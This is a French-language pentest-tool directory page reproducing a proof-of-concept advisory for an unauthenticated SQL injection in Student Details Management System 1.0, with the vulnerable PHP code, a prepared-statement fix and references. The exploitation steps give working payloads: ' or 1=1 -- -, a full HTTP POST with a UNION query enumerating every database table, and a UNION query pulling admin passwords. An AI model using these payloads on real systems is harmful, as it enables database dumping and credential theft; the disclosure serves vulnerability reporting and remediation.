Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-10110-SQLi — Preuve de concept pour une injection SQL non authentifiée dans Student Details Management System 1.0, démontrant l'extraction de données par UNION et le vol d'identifiants. | Kitploit
Outils/GitHubGitHub/xmyronn/cve-2026-10110-sqli
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionSécurité des Bases de Données
GitHubxmyronn/cve-2026-10110-sqli

CVE-2026-10110-SQLi

Preuve de concept pour une injection SQL non authentifiée dans Student Details Management System 1.0, démontrant l'extraction de données par UNION et le vol d'identifiants.

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Système de gestion des détails des étudiants 1.0 - Injection SQL (non authentifiée)

Informations sur la vulnérabilité

ChampDétails
ProduitSystème de gestion des détails des étudiants
Fournisseurcode-projects.org
Version1.0
Type de vulnérabilitéInjection SQL (CWE-89)
ID CVEEn attente
Score CVSS9,8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Authentification requiseNon
Fichier concerné/SMS/index.php
Paramètre vulnérableroll (POST)

Description

Une vulnérabilité critique d'injection SQL existe dans le fichier index.php du Système de gestion des détails des étudiants 1.0. Le paramètre roll transmis via une requête POST est directement concaténé dans une requête SQL brute sans assainissement, validation des entrées ou utilisation de requêtes préparées. Cela permet à un attaquant distant non authentifié d'injecter du SQL arbitraire et d'effectuer une extraction de données basée sur UNION, en déversant l'intégralité du serveur de base de données, y compris les tables d'identifiants.

La vulnérabilité existe sur le formulaire de recherche d'étudiants accessible au public, ne nécessitant aucune authentification.


Code vulnérable

Fichier : index.php (lignes 51 à 59)

root@kitploit:~
include('dbcon.php');
if (isset($_POST['show'])) {

    $Standard = $_POST['standard'];
    $RollNo = $_POST['roll'];

    $sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";

    $result = mysqli_query($conn,$sql);

$Standard et $RollNo sont tous deux extraits directement de $_POST sans échappement ni paramétrage. L'attaquant contrôle le paramètre roll pour sortir du contexte de chaîne SQL et injecter des requêtes arbitraires.


Preuve de concept

Étape 1 — Confirmer le comportement normal

Accédez à la page d'accueil de l'application et saisissez un numéro de rôle valide :

root@kitploit:~
http://<TARGET>/SMS/index.php

Saisissez 1001 dans le champ numéro de rôle → l'application renvoie normalement les enregistrements des étudiants.

Screenshot 2026-05-03 220510

Étape 2 — Déclencher une erreur SQL (confirmer le point d'injection)

Saisissez un guillemet simple ' dans le champ numéro de rôle et cliquez sur AFFICHER LES INFORMATIONS.

Résultat : MariaDB génère une erreur fatale exposant la requête SQL brute et le chemin du fichier :

root@kitploit:~
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the right 
syntax to use near '"' at line 1 in 
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59
Screenshot 2026-05-03 220533

Étape 3 — Contournement de l'authentification / extraction complète de la table

Charge utile :

root@kitploit:~
' or 1=1 -- -

Résultat : Tous les enregistrements des étudiants dans la base de données sont renvoyés sans aucun numéro de rôle valide, confirmant que l'injection est exploitable.

Screenshot 2026-05-03 220550

Étape 4 — Extraction basée sur UNION (énumération complète de la base de données)

Requête Burp Suite :

root@kitploit:~
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded

roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO

Résultat : La colonne name (position 3 dans l'UNION) renvoie chaque nom de table de toutes les bases de données de l'instance MySQL — y compris admin, global_priv, users, mysql.user et les tables d'identifiants de plusieurs autres applications installées sur la même instance XAMPP.

Screenshot 2026-05-03 220606

Étape 5 — Voie d'élévation de privilèges

L'extraction révèle des tables sensibles, notamment admin, users, global_priv et tbl_admin provenant d'autres bases de données sur le même serveur. Un attaquant peut extraire les identifiants avec :

root@kitploit:~
roll=1' union select null,null,password,null,null,null,null from admin-- -

Combiné à la sortie d'erreur détaillée (étape 2), la divulgation complète du chemin du fichier est également confirmée :

root@kitploit:~
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php

Impact

  • Énumération complète de la base de données sur toutes les bases de données du serveur (pas seulement l'application cible)
  • Extraction des identifiants administrateur via l'extraction de la table admin
  • Divulgation complète du chemin via la sortie d'erreur SQL détaillée
  • Aucune authentification requise — exploitable par tout visiteur non authentifié de la page de recherche
  • Élévation de privilèges potentielle vers d'autres applications partageant la même instance MySQL

Correctif

Utilisez des requêtes préparées avec des paramètres liés :

root@kitploit:~
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();

De plus, désactivez la sortie d'erreur PHP/MySQL détaillée en production en définissant display_errors = Off dans php.ini.


Références

  • Page d'accueil du fournisseur
  • CWE-89 : Injection SQL
  • Injection SQL OWASP

Découvreur

Chercheur : Imad Alvi

Télécharger l’outil